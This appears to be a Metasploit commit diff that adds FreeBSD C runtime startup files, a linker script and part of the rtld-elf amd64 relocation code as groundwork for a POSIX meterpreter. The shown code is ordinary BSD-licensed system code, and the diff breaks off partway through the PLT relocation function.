First round of posix meterpreter commits from jr
git-svn-id: file:///home/svn/framework3/trunk@6934 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
4bcf42ae3c
commit
9a1e07c4f3
|
@ -0,0 +1,5 @@
|
||||||
|
CFLAGS+= -elf
|
||||||
|
LDFLAGS+= -elf
|
||||||
|
# Uncomment this to build the dynamic linker as an executable instead
|
||||||
|
# of a shared library:
|
||||||
|
#LDSCRIPT= ${.CURDIR}/${MACHINE_ARCH}/elf_rtld.x
|
|
@ -0,0 +1,95 @@
|
||||||
|
/* LINTLIBRARY */
|
||||||
|
/*-
|
||||||
|
* Copyright 1996-1998 John D. Polstra.
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||||
|
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||||
|
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||||
|
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||||
|
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||||
|
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||||
|
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef lint
|
||||||
|
#ifndef __GNUC__
|
||||||
|
#error "GCC is needed to compile this file"
|
||||||
|
#endif
|
||||||
|
#endif /* lint */
|
||||||
|
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
#include "libc_private.h"
|
||||||
|
#include "crtbrand.c"
|
||||||
|
|
||||||
|
extern int _DYNAMIC;
|
||||||
|
#pragma weak _DYNAMIC
|
||||||
|
|
||||||
|
typedef void (*fptr)(void);
|
||||||
|
|
||||||
|
extern void _fini(void);
|
||||||
|
extern void _init(void);
|
||||||
|
extern int main(int, char **, char **);
|
||||||
|
extern void _start(char **, void (*)(void));
|
||||||
|
|
||||||
|
#ifdef GCRT
|
||||||
|
extern void _mcleanup(void);
|
||||||
|
extern void monstartup(void *, void *);
|
||||||
|
extern int eprol;
|
||||||
|
extern int etext;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
char **environ;
|
||||||
|
const char *__progname = "";
|
||||||
|
|
||||||
|
/* The entry function. */
|
||||||
|
void
|
||||||
|
_start(char **ap, void (*cleanup)(void))
|
||||||
|
{
|
||||||
|
int argc;
|
||||||
|
char **argv;
|
||||||
|
char **env;
|
||||||
|
const char *s;
|
||||||
|
|
||||||
|
argc = *(long *)(void *)ap;
|
||||||
|
argv = ap + 1;
|
||||||
|
env = ap + 2 + argc;
|
||||||
|
environ = env;
|
||||||
|
if (argc > 0 && argv[0] != NULL) {
|
||||||
|
__progname = argv[0];
|
||||||
|
for (s = __progname; *s != '\0'; s++)
|
||||||
|
if (*s == '/')
|
||||||
|
__progname = s + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (&_DYNAMIC != NULL)
|
||||||
|
atexit(cleanup);
|
||||||
|
else
|
||||||
|
_init_tls();
|
||||||
|
|
||||||
|
#ifdef GCRT
|
||||||
|
atexit(_mcleanup);
|
||||||
|
#endif
|
||||||
|
atexit(_fini);
|
||||||
|
#ifdef GCRT
|
||||||
|
monstartup(&eprol, &etext);
|
||||||
|
__asm__("eprol:");
|
||||||
|
#endif
|
||||||
|
_init();
|
||||||
|
exit( main(argc, argv, env) );
|
||||||
|
}
|
||||||
|
|
||||||
|
__asm__(".ident\t\"$FreeBSD: head/lib/csu/amd64/crt1.c 151072 2005-10-07 22:13:17Z bde $\"");
|
|
@ -0,0 +1,41 @@
|
||||||
|
/*-
|
||||||
|
* Copyright 1996, 1997, 1998, 2000 John D. Polstra.
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||||
|
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||||
|
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||||
|
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||||
|
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||||
|
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||||
|
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
.section .init,"ax",@progbits
|
||||||
|
.align 4
|
||||||
|
.globl _init
|
||||||
|
.type _init,@function
|
||||||
|
_init:
|
||||||
|
subq $8,%rsp
|
||||||
|
|
||||||
|
.section .fini,"ax",@progbits
|
||||||
|
.align 4
|
||||||
|
.globl _fini
|
||||||
|
.type _fini,@function
|
||||||
|
_fini:
|
||||||
|
subq $8,%rsp
|
||||||
|
|
||||||
|
.section .rodata
|
||||||
|
.ascii "$FreeBSD: user/kmacy/releng_7_2_zfs/lib/csu/amd64/crti.S 127252 2004-03-21 01:39:01Z peter $\0"
|
|
@ -0,0 +1,35 @@
|
||||||
|
/*-
|
||||||
|
* Copyright 1996, 1997, 1998, 2000 John D. Polstra.
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||||
|
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||||
|
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||||
|
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||||
|
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||||
|
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||||
|
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
.section .init,"ax",@progbits
|
||||||
|
addq $8,%rsp
|
||||||
|
ret
|
||||||
|
|
||||||
|
.section .fini,"ax",@progbits
|
||||||
|
addq $8,%rsp
|
||||||
|
ret
|
||||||
|
|
||||||
|
.section .rodata
|
||||||
|
.ascii "$FreeBSD: user/kmacy/releng_7_2_zfs/lib/csu/amd64/crtn.S 127252 2004-03-21 01:39:01Z peter $\0"
|
|
@ -0,0 +1,131 @@
|
||||||
|
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
|
||||||
|
"elf32-i386")
|
||||||
|
OUTPUT_ARCH(i386)
|
||||||
|
ENTRY(_start)
|
||||||
|
SEARCH_DIR(/usr/lib); SEARCH_DIR(/usr/obj/usr/src/tmp/usr/i386-unknown-freebsdelf/lib);
|
||||||
|
/* Do we need any of these for elf?
|
||||||
|
__DYNAMIC = 0; */
|
||||||
|
SECTIONS
|
||||||
|
{
|
||||||
|
/* Read-only sections, merged into text segment: */
|
||||||
|
. = 0x08000000 + SIZEOF_HEADERS;
|
||||||
|
.interp : { *(.interp) }
|
||||||
|
.hash : { *(.hash) }
|
||||||
|
.dynsym : { *(.dynsym) }
|
||||||
|
.dynstr : { *(.dynstr) }
|
||||||
|
.gnu.version : { *(.gnu.version) }
|
||||||
|
.gnu.version_d : { *(.gnu.version_d) }
|
||||||
|
.gnu.version_r : { *(.gnu.version_r) }
|
||||||
|
.rel.text :
|
||||||
|
{ *(.rel.text) *(.rel.gnu.linkonce.t*) }
|
||||||
|
.rela.text :
|
||||||
|
{ *(.rela.text) *(.rela.gnu.linkonce.t*) }
|
||||||
|
.rel.data :
|
||||||
|
{ *(.rel.data) *(.rel.gnu.linkonce.d*) }
|
||||||
|
.rela.data :
|
||||||
|
{ *(.rela.data) *(.rela.gnu.linkonce.d*) }
|
||||||
|
.rel.rodata :
|
||||||
|
{ *(.rel.rodata) *(.rel.gnu.linkonce.r*) }
|
||||||
|
.rela.rodata :
|
||||||
|
{ *(.rela.rodata) *(.rela.gnu.linkonce.r*) }
|
||||||
|
.rel.got : { *(.rel.got) }
|
||||||
|
.rela.got : { *(.rela.got) }
|
||||||
|
.rel.ctors : { *(.rel.ctors) }
|
||||||
|
.rela.ctors : { *(.rela.ctors) }
|
||||||
|
.rel.dtors : { *(.rel.dtors) }
|
||||||
|
.rela.dtors : { *(.rela.dtors) }
|
||||||
|
.rel.init : { *(.rel.init) }
|
||||||
|
.rela.init : { *(.rela.init) }
|
||||||
|
.rel.fini : { *(.rel.fini) }
|
||||||
|
.rela.fini : { *(.rela.fini) }
|
||||||
|
.rel.bss : { *(.rel.bss) }
|
||||||
|
.rela.bss : { *(.rela.bss) }
|
||||||
|
.rel.plt : { *(.rel.plt) }
|
||||||
|
.rela.plt : { *(.rela.plt) }
|
||||||
|
.init : { *(.init) } =0x9090
|
||||||
|
.plt : { *(.plt) }
|
||||||
|
.text :
|
||||||
|
{
|
||||||
|
*(.text)
|
||||||
|
*(.stub)
|
||||||
|
/* .gnu.warning sections are handled specially by elf32.em. */
|
||||||
|
*(.gnu.warning)
|
||||||
|
*(.gnu.linkonce.t*)
|
||||||
|
} =0x9090
|
||||||
|
_etext = .;
|
||||||
|
PROVIDE (etext = .);
|
||||||
|
.fini : { *(.fini) } =0x9090
|
||||||
|
.rodata : { *(.rodata) *(.gnu.linkonce.r*) }
|
||||||
|
.rodata1 : { *(.rodata1) }
|
||||||
|
/* Adjust the address for the data segment. We want to adjust up to
|
||||||
|
the same address within the page on the next page up. */
|
||||||
|
. = ALIGN(0x1000) + (. & (0x1000 - 1));
|
||||||
|
.data :
|
||||||
|
{
|
||||||
|
*(.data)
|
||||||
|
*(.gnu.linkonce.d*)
|
||||||
|
CONSTRUCTORS
|
||||||
|
}
|
||||||
|
.data1 : { *(.data1) }
|
||||||
|
.ctors :
|
||||||
|
{
|
||||||
|
*(.ctors)
|
||||||
|
}
|
||||||
|
.dtors :
|
||||||
|
{
|
||||||
|
*(.dtors)
|
||||||
|
}
|
||||||
|
.got : { *(.got.plt) *(.got) }
|
||||||
|
.dynamic : { *(.dynamic) }
|
||||||
|
/* We want the small data sections together, so single-instruction offsets
|
||||||
|
can access them all, and initialized data all before uninitialized, so
|
||||||
|
we can shorten the on-disk segment size. */
|
||||||
|
.sdata : { *(.sdata) }
|
||||||
|
_edata = .;
|
||||||
|
PROVIDE (edata = .);
|
||||||
|
__bss_start = .;
|
||||||
|
.sbss : { *(.sbss) *(.scommon) }
|
||||||
|
.bss :
|
||||||
|
{
|
||||||
|
*(.dynbss)
|
||||||
|
*(.bss)
|
||||||
|
*(COMMON)
|
||||||
|
}
|
||||||
|
. = ALIGN(32 / 8);
|
||||||
|
_end = . ;
|
||||||
|
PROVIDE (end = .);
|
||||||
|
/* Stabs debugging sections. */
|
||||||
|
.stab 0 : { *(.stab) }
|
||||||
|
.stabstr 0 : { *(.stabstr) }
|
||||||
|
.stab.excl 0 : { *(.stab.excl) }
|
||||||
|
.stab.exclstr 0 : { *(.stab.exclstr) }
|
||||||
|
.stab.index 0 : { *(.stab.index) }
|
||||||
|
.stab.indexstr 0 : { *(.stab.indexstr) }
|
||||||
|
.comment 0 : { *(.comment) }
|
||||||
|
/* DWARF debug sections.
|
||||||
|
Symbols in the DWARF debugging sections are relative to the beginning
|
||||||
|
of the section so we begin them at 0. */
|
||||||
|
/* DWARF 1 */
|
||||||
|
.debug 0 : { *(.debug) }
|
||||||
|
.line 0 : { *(.line) }
|
||||||
|
/* GNU DWARF 1 extensions */
|
||||||
|
.debug_srcinfo 0 : { *(.debug_srcinfo) }
|
||||||
|
.debug_sfnames 0 : { *(.debug_sfnames) }
|
||||||
|
/* DWARF 1.1 and DWARF 2 */
|
||||||
|
.debug_aranges 0 : { *(.debug_aranges) }
|
||||||
|
.debug_pubnames 0 : { *(.debug_pubnames) }
|
||||||
|
/* DWARF 2 */
|
||||||
|
.debug_info 0 : { *(.debug_info) }
|
||||||
|
.debug_abbrev 0 : { *(.debug_abbrev) }
|
||||||
|
.debug_line 0 : { *(.debug_line) }
|
||||||
|
.debug_frame 0 : { *(.debug_frame) }
|
||||||
|
.debug_str 0 : { *(.debug_str) }
|
||||||
|
.debug_loc 0 : { *(.debug_loc) }
|
||||||
|
.debug_macinfo 0 : { *(.debug_macinfo) }
|
||||||
|
/* SGI/MIPS DWARF 2 extensions */
|
||||||
|
.debug_weaknames 0 : { *(.debug_weaknames) }
|
||||||
|
.debug_funcnames 0 : { *(.debug_funcnames) }
|
||||||
|
.debug_typenames 0 : { *(.debug_typenames) }
|
||||||
|
.debug_varnames 0 : { *(.debug_varnames) }
|
||||||
|
/* These must appear regardless of . */
|
||||||
|
}
|
|
@ -0,0 +1,399 @@
|
||||||
|
/*-
|
||||||
|
* Copyright 1996, 1997, 1998, 1999 John D. Polstra.
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||||
|
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||||
|
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||||
|
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||||
|
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||||
|
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||||
|
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*
|
||||||
|
* $FreeBSD: head/libexec/rtld-elf/amd64/reloc.c 157198 2006-03-28 06:09:24Z davidxu $
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Dynamic linker for ELF.
|
||||||
|
*
|
||||||
|
* John Polstra <jdp@polstra.com>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <sys/param.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <machine/sysarch.h>
|
||||||
|
|
||||||
|
#include <dlfcn.h>
|
||||||
|
#include <err.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <stdarg.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#include "debug.h"
|
||||||
|
#include "rtld.h"
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Process the special R_X86_64_COPY relocations in the main program. These
|
||||||
|
* copy data from a shared object into a region in the main program's BSS
|
||||||
|
* segment.
|
||||||
|
*
|
||||||
|
* Returns 0 on success, -1 on failure.
|
||||||
|
*/
|
||||||
|
int
|
||||||
|
do_copy_relocations(Obj_Entry *dstobj)
|
||||||
|
{
|
||||||
|
const Elf_Rela *relalim;
|
||||||
|
const Elf_Rela *rela;
|
||||||
|
|
||||||
|
assert(dstobj->mainprog); /* COPY relocations are invalid elsewhere */
|
||||||
|
|
||||||
|
relalim = (const Elf_Rela *) ((caddr_t) dstobj->rela + dstobj->relasize);
|
||||||
|
for (rela = dstobj->rela; rela < relalim; rela++) {
|
||||||
|
if (ELF_R_TYPE(rela->r_info) == R_X86_64_COPY) {
|
||||||
|
void *dstaddr;
|
||||||
|
const Elf_Sym *dstsym;
|
||||||
|
const char *name;
|
||||||
|
unsigned long hash;
|
||||||
|
size_t size;
|
||||||
|
const void *srcaddr;
|
||||||
|
const Elf_Sym *srcsym;
|
||||||
|
Obj_Entry *srcobj;
|
||||||
|
const Ver_Entry *ve;
|
||||||
|
|
||||||
|
dstaddr = (void *) (dstobj->relocbase + rela->r_offset);
|
||||||
|
dstsym = dstobj->symtab + ELF_R_SYM(rela->r_info);
|
||||||
|
name = dstobj->strtab + dstsym->st_name;
|
||||||
|
hash = elf_hash(name);
|
||||||
|
size = dstsym->st_size;
|
||||||
|
ve = fetch_ventry(dstobj, ELF_R_SYM(rela->r_info));
|
||||||
|
|
||||||
|
for (srcobj = dstobj->next; srcobj != NULL; srcobj = srcobj->next)
|
||||||
|
if ((srcsym = symlook_obj(name, hash, srcobj, ve, 0)) != NULL)
|
||||||
|
break;
|
||||||
|
|
||||||
|
if (srcobj == NULL) {
|
||||||
|
_rtld_error("Undefined symbol \"%s\" referenced from COPY"
|
||||||
|
" relocation in %s", name, dstobj->path);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
srcaddr = (const void *) (srcobj->relocbase + srcsym->st_value);
|
||||||
|
memcpy(dstaddr, srcaddr, size);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Initialize the special GOT entries. */
|
||||||
|
void
|
||||||
|
init_pltgot(Obj_Entry *obj)
|
||||||
|
{
|
||||||
|
if (obj->pltgot != NULL) {
|
||||||
|
obj->pltgot[1] = (Elf_Addr) obj;
|
||||||
|
obj->pltgot[2] = (Elf_Addr) &_rtld_bind_start;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Process the non-PLT relocations. */
|
||||||
|
int
|
||||||
|
reloc_non_plt(Obj_Entry *obj, Obj_Entry *obj_rtld)
|
||||||
|
{
|
||||||
|
const Elf_Rela *relalim;
|
||||||
|
const Elf_Rela *rela;
|
||||||
|
SymCache *cache;
|
||||||
|
int bytes = obj->nchains * sizeof(SymCache);
|
||||||
|
int r = -1;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* The dynamic loader may be called from a thread, we have
|
||||||
|
* limited amounts of stack available so we cannot use alloca().
|
||||||
|
*/
|
||||||
|
cache = mmap(NULL, bytes, PROT_READ|PROT_WRITE, MAP_ANON, -1, 0);
|
||||||
|
if (cache == MAP_FAILED)
|
||||||
|
cache = NULL;
|
||||||
|
|
||||||
|
relalim = (const Elf_Rela *) ((caddr_t) obj->rela + obj->relasize);
|
||||||
|
for (rela = obj->rela; rela < relalim; rela++) {
|
||||||
|
Elf_Addr *where = (Elf_Addr *) (obj->relocbase + rela->r_offset);
|
||||||
|
Elf32_Addr *where32 = (Elf32_Addr *)where;
|
||||||
|
|
||||||
|
switch (ELF_R_TYPE(rela->r_info)) {
|
||||||
|
|
||||||
|
case R_X86_64_NONE:
|
||||||
|
break;
|
||||||
|
|
||||||
|
case R_X86_64_64:
|
||||||
|
{
|
||||||
|
const Elf_Sym *def;
|
||||||
|
const Obj_Entry *defobj;
|
||||||
|
|
||||||
|
def = find_symdef(ELF_R_SYM(rela->r_info), obj, &defobj,
|
||||||
|
false, cache);
|
||||||
|
if (def == NULL)
|
||||||
|
goto done;
|
||||||
|
|
||||||
|
*where = (Elf_Addr) (defobj->relocbase + def->st_value + rela->r_addend);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case R_X86_64_PC32:
|
||||||
|
/*
|
||||||
|
* I don't think the dynamic linker should ever see this
|
||||||
|
* type of relocation. But the binutils-2.6 tools sometimes
|
||||||
|
* generate it.
|
||||||
|
*/
|
||||||
|
{
|
||||||
|
const Elf_Sym *def;
|
||||||
|
const Obj_Entry *defobj;
|
||||||
|
|
||||||
|
def = find_symdef(ELF_R_SYM(rela->r_info), obj, &defobj,
|
||||||
|
false, cache);
|
||||||
|
if (def == NULL)
|
||||||
|
goto done;
|
||||||
|
|
||||||
|
*where32 = (Elf32_Addr) (unsigned long) (defobj->relocbase +
|
||||||
|
def->st_value + rela->r_addend - (Elf_Addr) where);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
/* missing: R_X86_64_GOT32 R_X86_64_PLT32 */
|
||||||
|
|
||||||
|
case R_X86_64_COPY:
|
||||||
|
/*
|
||||||
|
* These are deferred until all other relocations have
|
||||||
|
* been done. All we do here is make sure that the COPY
|
||||||
|
* relocation is not in a shared library. They are allowed
|
||||||
|
* only in executable files.
|
||||||
|
*/
|
||||||
|
if (!obj->mainprog) {
|
||||||
|
_rtld_error("%s: Unexpected R_X86_64_COPY relocation"
|
||||||
|
" in shared library", obj->path);
|
||||||
|
goto done;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case R_X86_64_GLOB_DAT:
|
||||||
|
{
|
||||||
|
const Elf_Sym *def;
|
||||||
|
const Obj_Entry *defobj;
|
||||||
|
|
||||||
|
def = find_symdef(ELF_R_SYM(rela->r_info), obj, &defobj,
|
||||||
|
false, cache);
|
||||||
|
if (def == NULL)
|
||||||
|
goto done;
|
||||||
|
|
||||||
|
*where = (Elf_Addr) (defobj->relocbase + def->st_value);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case R_X86_64_TPOFF64:
|
||||||
|
{
|
||||||
|
const Elf_Sym *def;
|
||||||
|
const Obj_Entry *defobj;
|
||||||
|
|
||||||
|
def = find_symdef(ELF_R_SYM(rela->r_info), obj, &defobj,
|
||||||
|
false, cache);
|
||||||
|
if (def == NULL)
|
||||||
|
goto done;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* We lazily allocate offsets for static TLS as we
|
||||||
|
* see the first relocation that references the
|
||||||
|
* TLS block. This allows us to support (small
|
||||||
|
* amounts of) static TLS in dynamically loaded
|
||||||
|
* modules. If we run out of space, we generate an
|
||||||
|
* error.
|
||||||
|
*/
|
||||||
|
if (!defobj->tls_done) {
|
||||||
|
if (!allocate_tls_offset((Obj_Entry*) defobj)) {
|
||||||
|
_rtld_error("%s: No space available for static "
|
||||||
|
"Thread Local Storage", obj->path);
|
||||||
|
goto done;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
*where = (Elf_Addr) (def->st_value - defobj->tlsoffset +
|
||||||
|
rela->r_addend);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case R_X86_64_TPOFF32:
|
||||||
|
{
|
||||||
|
const Elf_Sym *def;
|
||||||
|
const Obj_Entry *defobj;
|
||||||
|
|
||||||
|
def = find_symdef(ELF_R_SYM(rela->r_info), obj, &defobj,
|
||||||
|
false, cache);
|
||||||
|
if (def == NULL)
|
||||||
|
goto done;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* We lazily allocate offsets for static TLS as we
|
||||||
|
* see the first relocation that references the
|
||||||
|
* TLS block. This allows us to support (small
|
||||||
|
* amounts of) static TLS in dynamically loaded
|
||||||
|
* modules. If we run out of space, we generate an
|
||||||
|
* error.
|
||||||
|
*/
|
||||||
|
if (!defobj->tls_done) {
|
||||||
|
if (!allocate_tls_offset((Obj_Entry*) defobj)) {
|
||||||
|
_rtld_error("%s: No space available for static "
|
||||||
|
"Thread Local Storage", obj->path);
|
||||||
|
goto done;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
*where32 = (Elf32_Addr) (def->st_value -
|
||||||
|
defobj->tlsoffset +
|
||||||
|
rela->r_addend);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case R_X86_64_DTPMOD64:
|
||||||
|
{
|
||||||
|
const Elf_Sym *def;
|
||||||
|
const Obj_Entry *defobj;
|
||||||
|
|
||||||
|
def = find_symdef(ELF_R_SYM(rela->r_info), obj, &defobj,
|
||||||
|
false, cache);
|
||||||
|
if (def == NULL)
|
||||||
|
goto done;
|
||||||
|
|
||||||
|
*where += (Elf_Addr) defobj->tlsindex;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case R_X86_64_DTPOFF64:
|
||||||
|
{
|
||||||
|
const Elf_Sym *def;
|
||||||
|
const Obj_Entry *defobj;
|
||||||
|
|
||||||
|
def = find_symdef(ELF_R_SYM(rela->r_info), obj, &defobj,
|
||||||
|
false, cache);
|
||||||
|
if (def == NULL)
|
||||||
|
goto done;
|
||||||
|
|
||||||
|
*where += (Elf_Addr) (def->st_value + rela->r_addend);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case R_X86_64_DTPOFF32:
|
||||||
|
{
|
||||||
|
const Elf_Sym *def;
|
||||||
|
const Obj_Entry *defobj;
|
||||||
|
|
||||||
|
def = find_symdef(ELF_R_SYM(rela->r_info), obj, &defobj,
|
||||||
|
false, cache);
|
||||||
|
if (def == NULL)
|
||||||
|
goto done;
|
||||||
|
|
||||||
|
*where32 += (Elf32_Addr) (def->st_value + rela->r_addend);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case R_X86_64_RELATIVE:
|
||||||
|
*where = (Elf_Addr)(obj->relocbase + rela->r_addend);
|
||||||
|
break;
|
||||||
|
|
||||||
|
/* missing: R_X86_64_GOTPCREL, R_X86_64_32, R_X86_64_32S, R_X86_64_16, R_X86_64_PC16, R_X86_64_8, R_X86_64_PC8 */
|
||||||
|
|
||||||
|
default:
|
||||||
|
_rtld_error("%s: Unsupported relocation type %u"
|
||||||
|
" in non-PLT relocations\n", obj->path,
|
||||||
|
(unsigned int)ELF_R_TYPE(rela->r_info));
|
||||||
|
goto done;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
r = 0;
|
||||||
|
done:
|
||||||
|
if (cache)
|
||||||
|
munmap(cache, bytes);
|
||||||
|
return(r);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Process the PLT relocations. */
|
||||||
|
int
|
||||||
|
reloc_plt(Obj_Entry *obj)
|
||||||
|
{
|
||||||
|
const Elf_Rela *relalim;
|
||||||
|
const Elf_Rela *rela;
|
||||||
|
|
||||||
|
relalim = (const Elf_Rela *)((char *)obj->pltrela + obj->pltrelasize);
|
||||||
|
for (rela = obj->pltrela; rela < relalim; rela++) {
|
||||||
|
Elf_Addr *where;
|
||||||
|
|
||||||
|
assert(ELF_R_TYPE(rela->r_info) == R_X86_64_JMP_SLOT);
|
||||||
|
|
||||||
|
/* Relocate the GOT slot pointing into the PLT. */
|
||||||
|
where = (Elf_Addr *)(obj->relocbase + rela->r_offset);
|
||||||
|
